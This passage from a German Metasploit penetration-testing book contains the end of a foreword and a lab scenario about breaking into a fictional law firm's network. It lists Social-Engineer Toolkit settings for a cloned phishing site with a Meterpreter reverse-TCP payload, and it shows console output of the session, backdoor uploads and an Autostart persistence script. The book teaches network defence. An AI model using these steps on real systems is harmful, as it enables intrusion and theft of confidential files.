das Fünffache. Gleichzeitig entwickelte ich mit Rapid7 die kommerziellen Versionen Metasploit Express und Metasploit Pro, um die Open-Source-Entwicklungen
zu finanzieren.
Was damals als kühnes Experiment begann, scheint sich heute bewährt zu
haben, denn Metasploit ist nun auf mehr als eine Million Downloads pro Jahr
angewachsen.
In der Zwischenzeit wurden Cyber-Angriffe einer Industrialisierung unterzogen. Hacker brechen nicht mehr primär aus spielerischen, sondern aus finanziellen
Gründen in Unternehmensnetze ein. Angriffe werden kaum noch mit selbst entwickelten Programmen, sondern mit kommerziellen Exploit-Kits automatisiert.
vi
Geleitwort
Jetzt ist es wieder an uns, wie Angreifer zu denken und unsere Ansätze den
Angriffen anzupassen. Manuelle Penetrationstests sind unersetzlich, besonders
wenn die Angreifer ebenfalls manuell handeln, wie zum Beispiel bei Advanced Persistent Threats. Doch auch Kriminelle müssen wirtschaftlich handeln; daher kommen solche sehr teuren Angriffe primär von staatlichen Stellen und zielen auf militärische Einrichtungen, Regierungen und kritische Infrastrukturen.
Durchschnittliche Unternehmen sind von solchen Angriffen kaum betroffen.
Vielmehr werden sie von finanziell getriebenen Kriminellen angegriffen, die meist
fertige Exploit-Kits einkaufen und Angriffe weitgehend automatisiert durchführen. Der Verizon Breach Report1 zeigt, dass etwa zwei Drittel der Angriffe in diese
Kategorie fallen.
Der Autor, Frank Neugebauer, kommentiert in diesem Buch richtig, dass automatisierte Penetrationstests Risiken mit sich bringen können. Regelmäßige manuelle Pentrationstests sind allerdings wegen des Mangels an geschultem Personal
und wegen der mit ihnen verbundenen hohen Personalkosten ebenfalls oft nicht
möglich. Metasploit Pro kann Penetrationstests bereits zu großen Teilen automatisieren. Es reduziert das Risiko in Produktionsumgebungen, indem es Exploits
klassifiziert und standardmäßig nur zuverlässige Exploits verwendet. Durch diese
Automatisierung können leicht zu identifizierende Risiken schneller erkannt und
behoben werden. Dies ist enorm wichtig, denn diese Art von Risiken können von
Kriminellen ebenfalls durch automatisierte Methoden schnell und einfach ausgenutzt werden.
Dies ist sicherlich ein Anfang, aber keine abschließende Lösung. Wie im Jahr
2003 ist das Problem auch heute nicht durch eine Person oder eine Firma allein
lösbar. Die Sicherheitsgemeinde muss wieder gemeinsam eine Lösung finden, um
sich gegen diese neue Art der Angriffe erfolgreich zu schützen.
Genau dazu möchte ich Sie aufrufen: Lernen Sie in diesem Buch die Möglichkeiten kennen, Ihre Netzwerke zu schützen. Behalten Sie dieses Wissen aber nicht
für sich und denken Sie weiter. Diskutieren Sie mit Ihren Kollegen innerhalb und
außerhalb Ihres Unternehmens, wie wir eine sichere Zukunft gestalten können –
denn alleine wird es keiner von uns schaffen.
HD Moore
Chief Architect, Metasploit-Projekt, und Chief Security Officer, Rapid7
1.
http://www.verizonbusiness.com/resources/reports/rp_data-breach-investigations-report2012_en_xg.pdf
222
5 Anwendungsszenarien
Abschnitten deutlich gemacht. In unserem Beispiel war die Windows-Firewall ständig eingeschaltet. Die Datei Backdoor.exe wurde mit dem Online-Virenscanner von
Trend Micro geprüft, der bereits in Abschnitt 5.9 zur Anwendung kam.
Da das eingesetzte Virenschutzprogramm auf Signaturbasis arbeitet, konnte es
offensichtlich die Backdoor nicht erkennen. Hier würde sicherlich ein Produkt,
das proaktive Technologien einsetzt, die automatisch das Verhalten von Applikationen sowie die Netzwerkkommunikation analysieren, weiterhelfen und eine
Bedrohung feststellen.
Im Beispiel haben wir gesehen, dass das Zielsystem sich mit dem Angriffssystem auf Port 4444 verbindet. Dies könnte durch Einsatz einer Firewall entsprechend verhindert werden.
5.15 In lokale Netzwerke über das Internet eindringen
In diesem Abschnitt werden wir nochmals das bereits vorgestellte Social-Engineer Toolkit nutzen und die grafische Oberfläche Armitage einsetzen. Die verwendeten Angriffsmethoden und Werkzeuge wurden teilweise in den vorherigen
Szenarien behandelt bzw. erläutert. Um diesen Abschnitt verstehen zu können,
sollten die Abschnitte 5.9 und 5.11 durchgearbeitet worden sein.
5.15.1
Das Szenario
Dieses Szenario könnte sich so oder abgewandelt irgendwo in Deutschland ereignet haben. Firmen und Namen sind frei erfunden.
Die Anwaltskanzlei Müller&Junghans hat schon seit längerer Zeit nach einer
Möglichkeit gesucht, sich zu vergrößern, und will daher zwei weitere Rechtsanwälte einstellen. In diesem Zusammenhang ist geplant, das bestehende Netzwerk
in der Kanzlei zu modernisieren und durch eine Firewall zu ergänzen. Die bisher
auf einzelnen PCs gespeicherten Dateien sollen nun zentral auf einem Server abgelegt werden, auf dem regelmäßig eine Datensicherung gefahren wird.
Die Kanzlei beauftragt eine kleine Firma vor Ort (Bluenet GmbH) mit der
Beschaffung der benötigten Hard- und Software und der Installation aller Komponenten in den Büros der Mitarbeiter. Folgende Punkte werden festgelegt:
■ Bereitstellung und Installation von 4 PCs und einem Dateiserver
■ Installation von aktuellen Versionen des Betriebssystems Windows XP und
einem Virenschutzprogramm
■ Installation einer Firewall zur Absicherung der Kanzlei vor dem Internet
■ Gewährleistung des regelmäßigen Updatemanagements aller installierten
Komponenten
■ Regelmäßiges Backup des Dateiservers und Lagerung der Dateien in einer
sicheren Umgebung
5.15 In lokale Netzwerke über das Internet eindringen
223
Nach kurzer Zeit erscheint ein Mitarbeiter der Firma Bluenet GmbH und liefert
die bereits vorinstallierten PCs und den Server aus. In den nächsten Tagen beschäftigt er sich mit der Installation der Firewall. Dies gestaltet sich relativ einfach, da der gesamte Netzwerkverkehr aus dem Internet geblockt werden soll. Es
müssen nur einige Regeln eingepflegt werden, die den Anwälten die Nutzung des
Internets (http und https) erlauben und den Zugriff auf den Mailserver (imap,
smtp) eines externen Providers ermöglichen. Die Arbeit ist in wenigen Tagen abgeschlossen und die Mitarbeiter zeigen sich sehr zufrieden mit dieser Lösung.
Nach einigen Wochen tauchen Unterlagen im Internet auf, die nur aus dieser
Anwaltskanzlei stammen können. Da eine Fehlfunktion der Firewall vermutet
wird, beauftragt die Kanzlei eine weitere Firma mit der Untersuchung. Das Untersuchungsergebnis zeigt, dass die Firewall ordnungsgemäß arbeitet, die installierte
Software auf den PCs aktuell ist und die installierten Virenschutzprogramme über
tagesaktuelle Signaturen verfügen. Der Dateiserver weist einige Schwachstellen
auf, da einige Updates nicht installiert wurden. Die Firma Bluenet GmbH erklärt
diesen Mangel mit der Unverträglichkeit der bereitzustellenden Patches mit anderer Software, die ebenfalls auf dem Dateiserver installiert ist. Da der Server aber
über keine Verbindung in das Internet verfügt, wurde das Risiko als gering eingestuft.
Wie konnte es den Tätern gelingen, die begehrten Dokumente zu entwenden?
5.15.2
Den Angriff vorbereiten
Wer das Buch und insbesondere die vorherigen Szenarien aufmerksam durchgearbeitet hat, wird einige Ansatzpunkte für einen möglichen Angriff finden.
Es wird sicherlich schwer sein, die installierte Firewall direkt zu überwinden.
Der Angreifer sieht eine mögliche Chance darin, Schadcode auf einem verfügbaren
Weg in das Netzwerk einzuschleusen und durch die Nutzer ausführen zu lassen.
Er vermutet, dass die Firewall so konfiguriert ist, dass diese den von innen (LAN)
initiierten Netzverkehr per SSL (Port 443) zulässt. Er geht außerdem davon aus,
dass aktuelle Virenschutzprogramme eingesetzt werden, die möglicherweise das
einzuschleusende Schadprogramm erkennen.
Er entschließt sich, einen fingierten Webserver im Internet zu platzieren und
diesen mit Schadcode zu versehen. Außerdem bereitet er eine E-Mail vor, die er an
die Anwälte der Kanzlei Müller&Junghans adressiert und die sie animiert, auf
einen entsprechenden Link zu klicken.
Der Angreifer entscheidet sich, eine bekannte Webseite zu »klonen«. In
Abschnitt 5.11 wurde gezeigt, wie man diesen Angriff (Java Attack Vector) mittels
SET nachbilden kann.
Um dieses Szenario in der Testumgebung nachstellen zu können, müssen wir
mit einigen Hilfskonstruktionen leben. Abbildung 5–28 zeigt den Aufbau in unserem Testnetzwerk. Wir verwenden auch hier ausschließlich IP-Adressen aus einem
224
5 Anwendungsszenarien
privaten Adressbereich. Der Angreifer wird durch eine Backtrack-VM simuliert.
Die Client-PCs sind mit Windows XP ausgestattet, die mit aktueller Virenschutzsoftware versehen sind. Ein Windows Server 2003 wird als Dateiserver konfiguriert und als Firewall kommt die in Abschnitt 2.6.2 vorgestellte pfSense zum Einsatz.
Abb. 5–28 Das Szenario im Testnetzwerk nachgestellt
Für das »Klonen« der Webseite verwenden wir das Social-Engineer Toolkit
(SET). Benutzen Sie auch hier die gleichen Einstellungen, die bereits in Abschnitt
5.11 eingesetzt wurden. Die einzelnen Schritte werden hier noch einmal in Kurzform dargestellt:
■
■
■
■
■
■
■
Social-Engineering Attacks (1)
Website Attack Vector (2)
Java Applet Attack Method (1)
Site Cloner (2) hier beliebige Webseite angeben http://klone.me
ShellCodeExec Alphanum Shellcode (13)
Port of the listener (443)
Windows Meterpreter, Reverse TCP (1)
Alle notwendigen Komponenten werden nun konfiguriert, der Webservice gestartet und die Listener für die verschiedenen Betriebssysteme aktiviert.
Der Angreifer wartet nun, dass Nutzer innerhalb des anzugreifenden Netzwerkes die URL http://192.168.111.229 aufrufen. Diese hat er vorher geschickt in
einer E-Mail platziert. Auch hierzu könnte das SET unterstützend eingesetzt werden.
5.15 In lokale Netzwerke über das Internet eindringen
225
Abb. 5–29 Der Klick auf »Ausführen« hat fatale Folgen.
Wenn Nutzer im Zielnetzwerk den entsprechenden Hinweis (siehe Abb. 5–29) ignorieren und auf Ausführen klicken, sollte als Folge eine Meterpreter-Session in
der Konsole des Angreifers geöffnet werden. Das installierte Virenschutzprogramm erkennt in der Regel diesen Angriff nicht.
Der Angreifer wird nun bestrebt sein, eine entsprechende Hintertür zu installieren. Diese soll es ermöglichen, auch nach Zusammenbruch der Verbindung oder
Neustart des PC immer wieder Zugriff auf dieses System zu erlangen. Um dies in
unserer Testumgebung nachvollziehen zu können, werden wir den in Abschnitt
5.9 bereits genutzten Exploit verwenden.
In unserem Beispiel hat der Nutzer Roeder (siehe Listing 5–78) auf den untergeschobenen Link geklickt. Der Angreifer kann nun mit dessen Rechten entsprechende Kommandos auf dem PC ausführen. Er wechselt sofort in das Verzeichnis
des Nutzers Roeder.
msf exploit(handler) >
[*] 192.168.111.220:53937 Request received for /INITM...
[*] 192.168.111.220:53937 Staging connection for target /INITM received...
[*] Patched transport at offset 486516...
[*] Patched URL at offset 486248...
[*] Patched Expiration Timeout at offset 641856...
[*] Patched Communication Timeout at offset 641860...
[*] Meterpreter session 1 opened (192.168.111.229:443 -> 192.168.111.220:53937) at
2012-02-04 11:50:58 +0100
sessions -i 1
226
5 Anwendungsszenarien
[*] Starting interaction with 1...
meterpreter > getuid
Server username: ROEDERPC\Roeder
meterpreter > ls
Listing: C:\Dokumente und Einstellungen\Roeder\Desktop
======================================================
Mode
---40777/rwxrwxrwx
40777/rwxrwxrwx
Size
---0
0
Type
---dir
dir
Last modified
------------2012-01-13 18:28:12 +0100
2012-02-02 20:30:36 +0100
Name
---.
..
meterpreter > cd ..
meterpreter > ls
Listing: C:\Dokumente und Einstellungen\Roeder
==============================================
Mode
---100666/rw-rw-rw100666/rw-rw-rw100666/rw-rw-rw40555/r-xr-xr-x
Listing 5–78
Size
---190
786432
1024
0
Type
---fil
fil
fil
dir
Last modified
------------2012-02-04 11:46:55
2012-02-04 11:46:55
2012-02-04 11:51:04
2012-02-02 20:31:16
+0100
+0100
+0100
+0100
Name
---ntuser.ini
NTUSER.DAT
NTUSER.DAT.LOG
Anwendungsdaten
Befehle auf dem Zielsystem als Nutzer Roeder ausführen
Im Folgenden werden drei Dateien mit dem upload-Befehl (siehe Listing 5–79) auf
das Zielsystem übertragen.
■ pill.exe nach C:\Dokumente und Einstellungen\roeder
■ pill.vbs nach C:\Dokumente und Einstellungen\roeder
■ start.bat nach C:\Dokumente und Einstellungen\roeder\Startmenü\Programme\Autostart
Wer sich an dieser Stelle fragt, was die Dateien im Einzelnen beinhalten, sollte
nochmals das Szenario in Abschnitt 5.9 anschauen. Die Datei pill.exe wurde
ursprünglich als msf.exe mit SET erstellt und dann umbenannt. Das VBS-Skript
pill.vbs wurde analog zum Beispiel (msf.vbs) erstellt und enthält u.a. den alphanumerisch codierten Payload. Die Batch-Datei start.bat beinhaltet nur eine Zeile
(start pill.vbs) und wird in das Autostart-Verzeichnis des Nutzers platziert. Somit wird die automatische Ausführung der Hintertür nach erneuter Anmeldung
des Nutzers auf seinem PC ermöglicht. Auch hier ist Voraussetzung, dass die installierten Dateien vom installierten Virenschutzprogramm nicht als Schadcode
erkannt werden. Nach erfolgreicher Übertragung der Hintertür wird der ClientPC mit dem Befehl reboot neu gestartet.
5.15 In lokale Netzwerke über das Internet eindringen
227
meterpreter > upload /pentest/exploits/set/pill.exe .
[*] uploading : /pentest/exploits/set/pill.exe -> .
[*] uploaded
: /pentest/exploits/set/pill.exe -> .\pill.exe
meterpreter > upload /pentest/exploits/set/pill.vbs .
[*] uploading : /pentest/exploits/set/pill.vbs -> .
[*] uploaded
: /pentest/exploits/set/pill.vbs -> .\pill.vbs
meterpreter > ls
Listing: C:\Dokumente und Einstellungen\Roeder
==============================================
<snip>
40555/r-xr-xr-x
0
40555/r-xr-xr-x
0
0x53746172746d656efc
40777/rwxrwxrwx
0
dir
dir
2012-02-02 19:47:51 +0100
2012-01-13 18:28:12 +0100
Recent
$U$Startmen-
dir
2012-02-02 19:47:45 +0100
IETldCache
dir
dir
dir
dir
dir
dir
2012-01-13
2012-02-04
2012-01-13
2012-02-02
2012-02-04
2012-01-13
Desktop
Cookies
Vorlagen
..
.
Lokale Einstellungen
<snip>
40777/rwxrwxrwx
40777/rwxrwxrwx
40777/rwxrwxrwx
40777/rwxrwxrwx
40777/rwxrwxrwx
40777/rwxrwxrwx
meterpreter >
meterpreter >
meterpreter >
meterpreter >
[*] uploading
[*] uploaded
meterpreter >
Rebooting...
Listing 5–79
0
0
0
0
0
0
18:28:12
11:50:50
18:31:15
19:47:41
11:55:42
18:28:12
+0100
+0100
+0100
+0100
+0100
+0100
cd $U$Startmen-0x53746172746d656efc
cd programme
cd autostart
upload start.bat .
: start.bat -> .
: start.bat -> .\start.bat
reboot
Übertragen der Hintertür auf den PC in das Arbeitsverzeichnis des Nutzers Roeder
Sicherlich werden die Angreifer geschicktere Methoden anwenden, um Hintertüren – möglicherweise auch automatisiert – zu installieren und entsprechend zu
verschleiern. In diesem Beispiel soll nur die Vorgehensweise und Methode erläutert werden.
5.15.3
In das lokale Netzwerk eindringen
In dieser zweiten Phase werden wir vorrangig mit Armitage arbeiten. Der PC des
Rechtsanwaltes Roeder sollte nun so präpariert sein, dass bei jeder Anmeldung
eine Meterpreter-Session zum PC des Angreifers geöffnet wird. Um die Daten ent-
Document
Kategorie
Internet
Seitenansichten
30
Dateigröße
1 171 KB
Tags
1/--Seiten
melden